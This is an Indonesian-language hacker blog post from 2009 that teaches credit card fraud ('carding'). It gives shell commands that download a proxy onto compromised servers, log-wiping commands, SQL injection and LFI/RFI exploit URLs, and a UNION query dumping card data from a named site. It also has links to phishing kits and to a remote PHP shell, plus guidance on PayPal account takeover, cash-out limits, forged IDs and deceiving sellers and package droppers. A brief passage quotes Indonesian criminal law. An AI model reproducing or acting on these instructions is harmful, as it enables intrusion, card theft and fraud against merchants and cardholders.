_____ __ _____ ___ _____ ___ _____ _____ _____ _____ _____ _____ _____ _____ ____ _____ _ _ _ _____ | __|| | | | ||_ | | | || | | | __|| __|| __ || | || __|| __ | | || __| | \ | || | | || | | | __|| |__ | | | _| |_ | | | ||_ | |__ || __|| -|| | || __|| -| |- -||__ | | | || | || | | || | | | |_____||_____| \___/ |_____||_|___| |_| |_____||_____||__|__| \___/ |_____||__|__| |_____||_____| |____/ |_____||_____||_|___| I DONT WANT TO BE FAME , I DONT WANT TO BE ANY EZINE , I JUST WANT TO SHARE KNOWLEDGE
, ----. ~ Fuck full-disclosure - - ` ~ Fuck the security industry ,__.,' \ ~ Keep 0days private .' *` ~ Hack everyone you can and then hack some more / | | / **\ ~ Blend in. . / ****. ~ Get trusted. | mm | ****| ~ Trust no one. \ | ****| ~ Own everyone. ` ._______ \ ****/ ~ Disclose nothing. \ /`---' ~ Destroy everything. \___( ~ Take back the scene /~~~~\ ~ Never sell out, never surrender. / \ ~ Get in as anonymous, Leave with no trace. / | \ ~ This your Fucking IP | | \ ~ This your Fucking ISP , ~~ . |, ~~ . | |\ ~ FUCK OFF I've got enough friends !!!! ( |||| ) ( |||| )(,,,)` ( |||||| )-( |||||| ) | ^ ( |||||| ) ( |||||| ) |'/ ( |||||| )-( |||||| )___,'- ( |||| ) ( |||| ) ` ~~ ' ` ~~ '

[ Blog ]

[ History ]


apa itu CARDING ?

CARDING ? apakah itu berbahaya ?

pasti anda sudah lama dengar tentang bahasa "carding" si robber dalam dunia maya
kegiatan pencurian data" penting yang di lakukan oleh suatu kumpulan maupun personal.
mereka hanya mengincar kesenangan dan harta 1
mayoritas mereka tumbuh dari irc atau (internet relay chat), dengan asumsi memperbanyak kenalan" hacker,spamer,carder lainnya
mereka bergerak di bidang carding via toko online
biasanya mereka mendapatkan data" penting seperti: account & password ebay,password & paypal,informasi credit card ( cc ), account moneybooker, dan account bank asing.
teknik mereka tidak jauh beda dengan teknik hacker yang biasanya melumpuhkan system pengamanan, tetapi kebanyakan dari mereka mengutamakan target berupa toko online,
mereka incar data" penting shoppingcart dari toko.
relavan mereka gunakan teknik lfi carding 1.
sesudah mereka mengumpulkan data" penting, biasanya langsung menuju situs penggalangan dana (donate) seperti uniceff, untuk memastikan cc itu valid atau decline.
susudah mereka puas beramal dengan dana oranglain, nah sekarang adalah mencari toko online, biasanya mereka incar toko" yang terpampang di google
lalu sedikit demi sedikit mereka melakukan ctrl +c , dam ctrl + v , pada form pengisian pembayaran.
atau mereka lakukan negosiasi dengan penjual (layaknya pembeli asli, yang mengusahakan penjual percaya pada pembeli)
menempatkan semua transaksi ilegal di jasa pengataran barang seperti ups,hdl,fedex,tiki,dll
walaupun indonesia sudah di cap sebagai negara fraud.
tapi masih banyak juga carding di indonesia.
tak jarang juga mereka memalsukan ktp,debet,bahkan kartu atm ( anjungan tunai mandiri )
ck.ck.ck.ck.ck

bukan hanya di bidang toko online saja
situs ebay,paypal pun tak luput dari serangan usil mereka
mereka sengaja menyimpan trap" di setiap situs yang trhbng ke situs pp ataupun ebay untuk mendapatkan account tsb.
makannya tak asing lagi klo misalkan account anda sudah di rubah atau telah di jejaki oleh mereka.
namun sekarang paypal tidak begitu di sukai oleh komunitas carder karena susahnya pengambilan uang secara tunai.
tapi klo misalkan untuk withdraw pp ataupun transaksi antar pp sekarng masih bisa di lakukan.
biasanya sih untuk membuat account bank asing,
itupun kita bisa lakukan dengan cara :

a) membuat account penyedia paypal gratis ( klo mau bermodal, ya kita harus mempunya account bank luar )
cat : seperti finderfriend, atau kita bisa memanfaatkan media chat seperti facebook,fs,myspace,lc,msn
kita adosikan sebagai orang yang dekat dengan orang luar negri., nah disini kita harus banyak
berbicara bla.bla.bla supaya si bule (teman baru kita) percaya.
nah klo udah percaya 100 %.
gunakan imajinasi kita dan logika. suruh dia untuk berbaik hati kepada kita untuk membuatkan
account bank luar 4 heuheuheu
atau kita bisa memanfaatkan teman" di forum underground luar lainnya.untuk bisa di ajak bekerja
sama 1
b) klo misalkan account paypal anda sudah jadi, dan atm nya sudah terkirim ke rumah anda, lakukan apa yang
kita maksud 1 yaitu teruslah tf pp bule sebanyak anda mau ke pp kita 1


============================================================
| hal yang dilakukan oleh mereka |
============================================================
contoh pemalsuan ktp
:



tujuan utama : untuk menyamarkan identitas asli 10 ( tetep cantiq )

============================================================
menyiapkan proxy (menyembunyikan identitas)
mencari target lalu upload php shell
contoh dalam shell:
wget elvinaproxy.com/wow/files/proxy.tgz
tar -zvxf proxy.tgz
cd pro
./xh -s ./usr/apache/httpd ./prox -a -s -d5555 (5555 its your port)
/sbin/ifconfig/ ( to check your ip in your shell target )
rm -rf proxy.tgz ( remove archive proxy )
/dns elvinaproxy.com (check your connectivity @irc your trusted server)

pasang proxy di browser anda 1
lalu cek di : http://cmyip.com . http://ip-adress.com , dsb
============================================================
contoh pengambilan creditcard
:



tujuan utama `: peluru utama [amunisi]
serangan : sqlinjecktion all variant,rfi,lfi,rce,etc.
tools : putty.exe,sqlmap,fuzzer,password cracking tools ( recommended )
exploits : bindtty.c, c99.php, r57.php,root.tar.gz,xpost.tgz,etc

hal yang penting jika km sudah menjejaki sebuah server lewat putty,telnet,terminal :
hapus log itu
rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /devory
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
rm -rf /var/log/lastlog
cat /var/log/lastlog
ctrl + d


============================================================
NEgosiasi kpd sang penjual
sedikit contoh: jangan di tiru 10
elv1n4: hi, iam interest to buy some your item
seller: ok which one ?
elv1n4: bla,bla,bla,bla
elv1n4: can you send the item to indonesia ?
seller: hmmm.. iam not sure
elv1n4: why [zzzzzzz... masa sih ?]
elv1n4: cmon dude i need that item to my son in indonesia [dehhh ngerayu..]
seller: wait for a sec
elv1n4: bla.bla.bla.bla
seller: your transaction was aborted
elv1n4: what, i have paid to you, so what i must gonna do ?
seller: ok. i wanna package your item
elv1n4: thnx dude. i will wait a tracking number
============================================================
contoh hasil hasilnya
minggu kemarin iseng beli 4 cd game dapet bonus mp3 samsung broken white 4 GB limited edition [sellernya baik banget 10]
:





============================================================



Carding sendiri dalam versi POLRI meliputi :
1. Mendapatkan nomor kartu kredit (CC) dari tamu hotel, khususnya orang asing
2. Mendapatkan nomor kartu kredit melalui kegiatan chatting di Internet
3. Melakukan pemesanan barang ke perusahaan di luar negeri dengan menggunakan Jasa Internet
4. Mengambil dan memanipulasi data di Internet
5. Memberikan keterangan palsu, baik pada waktu pemesanan maupun pada saat pengambilan barang di Jasa Pengiriman (kantor pos, UPS, Fedex, DHL, TNT, dan lain-lain.)
Carding (pelakunya biasa disebut carder), adalah kegiatan melakukan transaksi e-commerce dengan nomor kartu kredit palsu atau curian. Pelaku tidak harus melakukan pencurian atau pemalsuan kartu kredit secara fisik, melainkan pelaku cukup mengetahui nomor kartu dan tanggal kadaluarsanya saja .
a.d. b. Ketentuan yang berkaitan dengan perusakan, penghancuran barang
Ketentuan tersebut sangat berkaitan erat dengan kejahatan yang hacking dan craking . Dalam kejahatan komputer (computer crime), perbuatan perusakan, penghancuran barang mempunyai pengertian suatu perbuatan yang dilakukan dengan suatu kesengajaan untuk merusak / menghancurkan media disket atau media penyimpan sejenis lainnya yang berisikan data atau program komputer sehingga akibat perbuatan tersebut data atau program yang dimaksud menjadi tidak berfungsi lagi dan pekerjaan-pekerjaan yang melalui proses komputer tidak dapat dilaksanakan . Sedangkan pada kejahatan mayantara (cyber crime) perbuatan perusakkan dan penghancuran barang ini tidak saja ditujukan untuk merusak / menghancurkan media disket atau media penyimpan sejenis lainnya melainkan dapat juga perbuatan merusak dan menghancurkan tersebut ditujukan terhadap suatu data, web site ataupun hompe page. Delik ini juga termasuk didalamnya perbuatan merusak barang-barang milik publik (Crime Againts Public Property).
Ketentuan mengenai perbuatan perusakan, penghancuran barang diatur dalam pasal 406-412 KUHP. Apabila kejahatan tersebut ditujukan pda sarana dan prasarana penerbangan diatur dalam pasal 479a-479h, 479m, dan 479p KUHP.
Pasal 406 KUHP berbunyi :
(1) Barangsiapa dengan sengaja melawan hukum menghancurkan, merusakkan, membikin tidak dapat dipakai lagi atau menghilangkan barang sesuatu yang seluruhnya atau sebagian adalah kepunyaan orang lain, diancam dengan pidana dipenjara paling lama dua tahun delapan bulan atau denda paling banyak empat ribu lima ratus rupiah
(2) Dijatuhkan pidana yang sama terhadap orang, yang dengan sengaja dan melawan hukum membunuh, merusakan, membikin tidak dapat digunakan atau menghilangkan hewan yang seluruhnya atau sebagian adalah kepunyaan orang lain
Pengertian-pengertian dalam pasal 406 KUHP dapat dijelaskan sebagai berikut :
1. Pengertian “menghancurkan” (vermielen)
Menghancurkan atau membinasakan dimaksudkan sebagai merusak sama sekali sehingga suatu barang tidak dapat berfungsi sebagaimana mestinya.
2. Pengertian “merusakkan”
Merusakkan dimaksudkan sebagai memperlakukan suatu barang sedemikian rupa namun kurang dan membinasakan (beschacdingen). Contoh perbuatan merusak data atau program komputer yang terdapat di internet dengan cara menghapus data atau program, membuat cacat data atau program, menambahkan data baru ke dalam suatu situs (web) atau sejenisnya secara acak. Dengan kata lain, perbuatan tersebut mengacaukan isi media penyimpanannya.
3. Pengertian “membikin / membuat tidak dapat dipakai lagi”
Tindakan itu harus sedemikian rupa, sehingga barang itu tidak dapat diperbaiki lagi. Kaitannya dengan kejahatan maya (cyber crime) adalah perbuatan yang dilakukan tersebut menyebebkan data atau program yang tersimpan dalam media penyimpan (data base) atau sejenisnya menjadi tidak dapat dimanfaatkan (tidak berguna lagi). Hal ini disebabkan oleh data atau program telah dirubah sebagian atau seluruhnya, atau dirusak pada suatu bagian atau seluruhnya, atau dihapus pada sebagian atau pada keseluruhannva.
4. Pengertian menghilangkan
Pengertian menghilangkan adalah membuat sehingga barang itu tidak ada lagi. Kaitannya dengan cyber crime ialah perbuatan menghilangkan atau menghapus data yang tersimpan pada data base (bisa juga tersimpan dalam suatu web) atau sejenisnya sehingga mengakibatkan semua atau sebagian dari data atau program menjadi hapus sama sekali.
Berdasarkan pengertian-pengertian mengenai perbuatan “menghancurkan”, merusak, “membuat tidak dapat dipakai lagi” dan “menghilangkan” dapatlah disimpulkan bahwa makna dan perbuatan-perbuatan tersebut terdapat kesesuaian yang pada intinya perbuatan tersebut menyebabkan fungsi dari data atau program dalam suatu jaringan menjadi berubah / berkurang
============================================================
contoh teknik yang di pakai carder
============================================================
1) cara pertama
melakukan attack pada vuln cart
teknik ini relavan sudah di kuasai oleh carder, ya seperti memanfaatkan bugs pada
cart yang vuln 1
contoh : vp-asp
masuk ke search engine km 1, mau google,altavista,yahoosearch,blackle,atau apalah
ketikin
allinurl:shopadmin.asp

jika dapat misalkan : www.elvinashop.com/vp-asp dir/shopadmin.asp
lalu masukan sql injektion ver1 'or''=' di user dan password 1 secara sama
2) downloading mdb (master database) asp 1
cari target yang sama seperti langkah ke 1
lalu ganti url menjadi
www.elvinashop.com/vp-asp dir/shopdbtest.asp atau
www.elvinashop.com/shopdbtest.asp

jika masuk lalu akan muncul informasi seperti : Database,Dblocation,databasetype,dsb
biasanya di Database,Dblocation
contoh:
Database=cantik
Dblocation=elvina

maka logikanya adalah
www.elvinashop.com/elvina/cantik.mdb


3) teknik seperti sql injecktion juga bisa di gunakan dalam carding
catatan : usahakan target adalah situs toko online yang memiliki shopadmin 10
untuk tekniknya sama seperti teknik sql injecktion biasa. untuk contohnya liat aja
di forum".

4) lfi carding adalah teknik yang menggunakan injeksi file dalam site 1
menurut artiannya juga local file inclusion 10 . menyerang Cart untuk mendapatkan
informasi creditcard
vulner (cacatnya)adalah
allow_url_include = on; allow_url_fopen = on
yess.php
$page = $_GET[page];
include($page);
?>


dan

allow_url_include = on; allow_url_fopen = on; magic_quotes_gpc = off
$page = $_GET[page];
include($page.”.php”);
?>


exploitasi

http://elvinashop.com/yess.php?page=../../../../../../../../etc/passwd


or

http://elvinashop.com/yess.php?page=c:/boot.ini
jadi $page = $_GET[page] = ../../../../../../../../etc/passwd


keterangan : jika kita melakukan proses exploitasi seperti itu maka dengan demikian etc/passwd akan muncul di browser km, bukan isi php nya loh , tapi isi etc/passwd dalam situs target itu.

keterangan : untuk melakukan teknik ini, maka settingan magic_quotes_gpc harus off, jika magic_quotesnya on maka akan diganti oleh server menjadi \0 sehingga teknik null injection menjadi gagal total.
contoh : $page = $_GET[page] = ../../../../../../../../etc/passwd


5) teknik scaming atau teknik traping 10
hati" banyak webtrap yang sedang mengincar account anda 10
heuheuheu. ya klo misalkan bahasa sekarangnya adalah fakelogin 1
klo minat bisa di download di http://www.s2nmediagroup.com/album/bluestarjets/content/wow.rar
nah banyak macam" scampage disana 1

6) teknik rfi carding 1
remote file inclusion 10
waw apaan tuh. contoh nya sama seperti lfi 1 vulnernya juga sama, ya karena sama" inclusion
mau teknik lfi,rce,rfi . semua sama kok
perbedaan nya hanya di butuhkan allow_url_include = on dan allow_url_fopen = on
nih contohnya
http://elvinashop.com/yess.php?page=http://www.carder.com/dor.txt
nah dengan demikian server akan mengeksekusi isi dari dor.txt
atau kita bisa saja memasukan evilscript seperti shell php 4 untuk upload file bisa gunakan shell ini
http://click-mexico.com/system/cache/pictures/vina.txt

7) ------------------------------
SOCIAL ENGINERING ITU PERLU
------------------------------
dalam kiprahnya, si carder harus mampu mempunyai ilmu social enginering ,
karena sebelum melancarkan aksi"nya , pastilah di haruskan untuk melakukan sosialisasi ke target.
penting :: jika anda ingin membeli barang di onlineshop di haruskan untuk melakukan negosiasi dan sosialisasi pada sellernya
hal tersebut sangat berpengaruh pada kebenaran si customers ^_^.
ya kita bisa melakukan contact mail kepada target via yahoo,gmail,msn,dll.
untuk menjadi seorang tukang kartu harus mempunyai logika yang panjang ^_^
dalam teknik social enginering juga bisa berguna untuk pemanfaatan droper (alias tukang drop barang) wadoww..
kenapa harus menggunakan droper, ya karena indonesia sudah 3 tahun ini termasuk negara paling fraud di dunia,
jadi kebanyakan toko online tidak mau memberikan shippingan ke indonesia ^_^.
nah jika dapet toko yang kaya gitu ,
masih banyak jalan menuju roma ,
kita bisa menggunakan teknik social enginering pada orang" luar negri ,
ya kita bisa memanfaatkan teman,saudara,ataupun rekan bisnis .
atau kita bisa mencari droper sendiri dalam webchat , seperti situs myspace,facebook,fs,tagged,dll
gunakan teknik social enginering untuk mendapatkan hati si droper ^_^
ya vina doakan kalian bisa dapet droper orang australia ^_^ .

-------------------
pemanfaatan kartu
-------------------
pemanfaatan amunisi harus juga dimiliki seorang tukang main kartu .
heuheuheu 10 , amex,discover,visa,mastercard bisa didapatkan dari teknik" serangan rendah ataupun tinggi 1
seperti LFI,RFI,RCE,AFD,BOF,SQLi,XSS,SCAMPAGE,dll.
biasakan kita mencari target situs toko online juga untuk mendapatkan kartu" tersebut ^_^

contoh simpel kartu
Code:
Full Name : elvina yang cantik
Address : di jalan google
City,State,Zip : Austin,TX,78739
Country : United States
Phone Number : no esia yah ^_^
Email : elvina [at] doyan [dot] cc
CardType: MasterCard
Name on the Card: elvina yang cantik
Card Number: 545884********
Card Expiration Date: 1014
Cvv Number: 124
contoh simpel target

Code:
https://www.directorypub.com/SRCH/proddetail.php?aid=00590&&pub_id=-1 union (select 1,null,null,concat_ws(0x3a3a,alpha,approve,acct_no,addr1,addr2,alias,city,country,email,fax,ID,name,name2,phone,postalcode,state,tollfree,cc_type,card_name,cc_num,exp_date,check_no),5,6,7,8,9,10 from ml30nard_DPS.company where length(cc_num)>5+and+length(check_no)>0  and+cast(right(exp_date,2)+as+signed)>9 )--
untuk pemanfaatan kartu yang fresh bisa juga kita gunakan sebagai alat transaksi chip poker,online shopping,dan verified paypal.


[penting] gunakan proxy sesuai dengan kota pemilik kartu sebelum melakukan aksi ^_^ .
dan jika anda ingin hajar situs shoponline shipping indo , ya itu usahakan kita dapat toko online dari german
heuheuheu , banyak yang recomended tuh di negara sana ^_^
bila seller udah percaya penuh pada kalian ( jangan takut" untuk hajar semua barangnya sampai bangkrut ) ^_^

cek limitasi kartu di avs yang anda percaya .
-> jangan cek validasi cc lewat irc ( karena cc ntar jadi mati )
-> lebih baik jika cc di dapatkan lewat spam ( biasanya masih fresh )
-> usahakan anda memiliki droper / virtual address seperti myus.com dll
---------------------
pemanfaatan paypal
----------------------

pasti udah taukan namanya paypal, dulu sih namanya payflow . tapi sekarang jadi paypal.
heuheuheu

tekniknya harus rajin" trace email, klo dapet target trus ada log email sama passwordnya ,
ya harus sering cek kesamaan password sama emailnya ^_^
biasanya bule sih suka pake 1 password dalam beberapa account ^_^
atau kita lakukan attack pada toko yang memfasilitasi pembayaran melalui paypal ^_^
mungkin pembayarannya tar di redirect ke situs paypal, tapi kan waktu registrasi account baru di situs toko itu , 50:50 password sama ^_^
untuk melakukan teknik ini di haruskan mendapatkan :
=> email dan password accounnt email korban
=> email dan password account paypal korban
=> no kartu paypal korban

================================================== ======

hal yang bisa kita lakukan dari paypal

1) transfer uang ( sendmoney ) via paypal
2) membeli barang di toko online ^_^
3) membeli rapidshare premium / account ^_^
4) penarikan uang ( withdraw )
5) pembelanjaan ebay


================================================== ========

1) untuk melakukan sendmoney dari paypal korban ke paypal kita di harapkan kita juga harus memiliki account paypal terlebih dahulu.
catatan penting :: untuk melakukan transaksi tersebut di harapkan untuk melakukan transaksi max $200.00 ke paypal kita ^_^
paypal korban juga harus termasuk dalam tipe paypal bussines agar terhindari dari akses limited ^_^
atau kita bisa gunakan metode mass pay , agar pajak yang kita tanggung nanti sangat minim ^_^
usahakan kita melakukan sendmoney pada target yang email accountnya dan nomor cc nya kita pegang, ( hanya untuk melakukan resolve problem yang akan datang nanti ) atau untuk menghindari security messure 1
usahakan juga kita menggunakan proxy us / uk ketika membuka paypal account target ,karena jika kita melakukan logging dengan berbeda ip , account target akan terkena security messure ^_^, dan penggunaan proxy juga dapat mengurangi kecurigaan si trishna

2) membeli barang di toko online biasanya shippingannya pada alamat paypal tersebut, teknik ini sangat percuma, tapi masaih banyak jalan menuju sukses, klo mau jadi carder harus banyak akal loh , gunakan teknik social enginering kembali untuk melakukan negosiasi pada seller,sehingga shippingan berbuah tempat ^_^
3) membeli rapidshare premium / account biasanya berjalan lancar karena cart biasanya meminta comfrim payment doang ^_^ , jadi tinggal klik terus buka email deh ^_^
4) penarikan uang ( withdraw ) , nonsen kita narik paypal orang bule langsung kirim ke banking kita ^_^ cape deh , kita harus didik untuk memiliki account paypal yang sudah verified, ya itu tekniknya seperti dalam no ( 1 ) ,
catatan penting :: dalam menarik uang , jika kita ingin berjalan lancar , usahakan untuk mempunyai banking luarnegri , ya seperti virtual bank ,atau bank indonesia ^_^ , untuk metodenya gunakan cara social enginering ^_^ .
atau kita juga bisa menarik uang paypal korban dengan cara mengirimkan pada paypal teman kita yang mempunyai paypal luar negri ^_^, klo hasilnya sih 50:50 pasti adil ^_^


------------------
pemanfaatan scam
------------------
scam sangat berlekatan dalam dunia tukang maen kartu ,
pembuatan scam page ,scam mail , dll
nah cara pemanfaatan scam sih cuma untuk mendapatkan amunisi aja sih ,tapi jangan lupa juga mailer nya mesti FUD ( fully undetected ) alias ga kedetek sama antivirus . jadi mesti di crypter sampai ga kedetek , ya selain gunain mailer , bisa juga gunain smtp , kalau mau terus inbox cari server infong ya. 
ya kita bisa mendapatkan amunisi kartu , atau account banking ^_^
nih klo mau download disini aja :

http://www.a1e.es/templates/beez/wow.rar


melawan hukum dikarenakan faktor krisis ekonomi di negara kita sendiri
sempitnya lahan usaha,susahnya mencari kerja,dsb
faktor tersebut mempengaruhi orang" seperti mereka melakukan hal itu,
bagiamana menurut pendapat kalian ?

./me berharap untuk president yang akan datang mampu mengerti suara kami 1
./kami bukan penjahat.
./kami hanya ingin sesuap nasi untuk menyambung nyawa dan bukan hanya sekedar foya"

semoga membantu

.tHX

ELV1N4

Labels:


On 5/2/09 at 9:57 AM



My Profile:


Biography:

short story:

[ Friends Link ]

[ chat with me ]


[ archives ]

[ Notices ]

By title

apa itu CARDING ?

By month

2002.03 2002.12 2005.12 2008.11 2009.02 2009.03 2009.04 2009.05 2009.06 2009.07 2009.08 2009.09 2009.10 2009.11 2009.12 2010.01 2010.03



 


elv1n4 Themes v2.0.0 © 2009 by elv1n4

www[dot]elv1n4.anti-sec[dot]org